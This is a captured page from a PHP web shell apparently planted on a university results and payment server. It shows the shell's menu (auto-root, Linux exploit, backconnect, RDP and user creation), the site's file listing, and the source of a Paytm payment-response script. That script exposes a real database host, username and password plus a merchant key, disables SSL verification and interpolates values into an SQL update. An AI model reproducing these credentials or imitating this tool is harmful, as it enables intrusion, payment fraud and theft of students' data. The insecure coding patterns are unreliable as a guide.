Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64
Apache
: 172.26.7.228 | : 3.138.105.128
Cant Read [ /etc/named.conf ]
5.6.40-24+ubuntu18.04.1+deb.sury.org+1
www-data
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
results /
kus /
[ HOME SHELL ]
Name
Size
Permission
Action
Paytm
[ DIR ]
drwxr-xr-x
copyinoasis
[ DIR ]
drwxr-xr-x
css
[ DIR ]
drwxr-xr-x
easy_zip
[ DIR ]
drwxr-xr-x
img
[ DIR ]
drwxr-xr-x
jquery-ui-1.9
[ DIR ]
drwxr-xr-x
js
[ DIR ]
drwxr-xr-x
lib
[ DIR ]
drwxr-xr-x
libs
[ DIR ]
drwxr-xr-x
links
[ DIR ]
drwxr-xr-x
src
[ DIR ]
drwxr-xr-x
tarka_pdf
[ DIR ]
drwxr-xr-x
adds.jpg
39.03
KB
-rwxr-xr-x
adds1.jpg
293.14
KB
-rwxr-xr-x
app.php
416
B
-rwxr-xr-x
cconfig.php
1.19
KB
-rwxr-xr-x
cconfig_old.php
1.12
KB
-rwxr-xr-x
index.php
105
B
-rwxr-xr-x
index_old_before_student_login...
5.61
KB
-rwxr-xr-x
payment_gate_way_responce.php
3.35
KB
-rwxr-xr-x
payment_gateway.php
7.83
KB
-rwxr-xr-x
payment_gateway_test_url.php
7.66
KB
-rwxr-xr-x
pgResponse.php
4.76
KB
-rwxr-xr-x
result.php
5.39
KB
-rwxr-xr-x
subjectDetails.php
1.14
KB
-rwxr-xr-x
update_challan.html
1.25
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : pgResponse.php
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <link rel="shortcut icon" type="image/jpg" href="img/favicon.jpg" /> <?php require_once("links/js_files.php");?> <script type="text/javascript"> $(function(){ $('.index_label_div').corner("5px").css("border","1px solid #6F6868"); $('.messageboard-div').corner("5px").css("border","1px solid #6F6868"); $('.reg_no_div').corner("bl br").css("border","1px solid #6F6868"); $('#main_message_board').corner("bl br").css("border","1px solid #2596CE"); $('.submit_div_button').corner("5px"); $('.div_app_form_center_blue').corner("tl tr"); $('.div_app_form_center_black').corner("tl tr"); $('#print_app_form').corner("5px"); }); </script> </head> <body > <div id='main_frame'> <div class='header_main_div'> <?php require_once("links/header.php");?> <div id='main_page_div' style=' text-align: center;'> <?php // following files need to be included require_once("./lib/config_paytm.php"); require_once("./lib/encdec_paytm.php"); $paytmChecksum = ""; $paramList = array(); $isValidChecksum = "FALSE"; $servername = "97.74.228.93"; $username = "logisys3_logu"; $password = "Logisys@2106"; $dbname = "logisys3_kus"; $conn = new mysqli($servername, $username, $password, $dbname); $paramList = $_POST; $paytmChecksum = isset($_POST["CHECKSUMHASH"]) ? $_POST["CHECKSUMHASH"] : ""; //Sent by Paytm pg //Verify all parameters received from Paytm pg to your application. Like MID received from paytm pg is same as your application?s MID, TXN_AMOUNT and ORDER_ID are same as what was sent by you to Paytm PG for initiating transaction etc. $isValidChecksum = verifychecksum_e($paramList, 'CC_cHhDZDqzUskbQ', $paytmChecksum); //will return TRUE or FALSE string. if($isValidChecksum == "TRUE") { $status = $_POST["STATUS"]; $productinfo = $_POST["ORDERID"]; $txnid = $_POST["TXNID"]; $MID = $_POST["MID"]; $CHECKSUMHASH = $_POST["CHECKSUMHASH"]; //$productinfo = '103E3050155'; $MID = 'KuvUni77420253992631'; $requestParamList = array(); $responseParamList = array(); $requestParamList = array("MID" => "{$MID}" , "ORDERID" => "{$productinfo}"); $checkSum = getChecksumFromArray($requestParamList,'CC_cHhDZDqzUskbQ'); $requestParamList['CHECKSUMHASH'] = urlencode($checkSum); $data_string = "JsonData=".json_encode($requestParamList); $ch = curl_init(); // initiate curl //$url = "https://pguat.paytm.com/oltp/HANDLER_INTERNAL/getTxnStatus?"; // where you want to post data $url = "https://secure.paytm.in/oltp/HANDLER_INTERNAL/getTxnStatus?"; // where you want to post data curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($ch, CURLOPT_URL,$url); curl_setopt($ch, CURLOPT_POST, true); // tell curl you want to post something curl_setopt($ch, CURLOPT_POSTFIELDS,$data_string); // define what you want to post curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); // return the output in string format $headers = array(); $headers[] = 'Content-Type: application/json'; curl_setopt($ch, CURLOPT_HTTPHEADER, $headers); $output = curl_exec($ch); // execute $info = curl_getinfo($ch); $data = json_decode($output, true); //echo "<b>Checksum matched and following are the transaction details:</b>" . "<br/>"; if ($data["STATUS"] == "TXN_SUCCESS") { $status = $data["STATUS"]; $productinfo = $data["ORDERID"]; $txnid = $data["TXNID"]; $MID = $data["MID"]; $CHECKSUMHASH = $data["CHECKSUMHASH"]; $txnid = $data['TXNID']; $firstname = 'Paytm'; echo "<h1 style='color:green;'>Thank You. Your order status is success</h1>"; echo "<h2>Your Transaction ID for this transaction is ".$data['TXNID'].".</h2>"; echo "<h3>We have received a payment of Rs. " . $data['TXNAMOUNT'] ."</h3>"; $html=" <div class='raval_submit' style='width:241px;float:none; margin: 0 auto;' > <span onclick=\"PrintRevaluationApplicationFormpaytm('{$productinfo}');\" style='float:left;margin-left:8px;cursor: pointer; line-height: 19px;font-size:14px;font-weight:bold;'>Click here to take a PrintOut</span> </div>"; echo $html; $update = "update res_stud set FPAYMENTREMARKS='{$remarks}',FPAYMENTSTATUS='success', FPAYMENTCONFIRM='success', fackdate = current_date(), funivrecdate = current_date(), fackuser = 'Paytm', FCHALLANNO = '123' where APPNO='{$productinfo}'"; $result=$conn->query($update); //} } else { echo "<b>Transaction status is failure</b>" . "<br/>"; } } else { echo "<b>Checksum mismatched.</b>"; //Process transaction as suspicious. } ?> </div> <?php require_once("links/footer.php");?> </div> </div> </br> </body> </html>
Close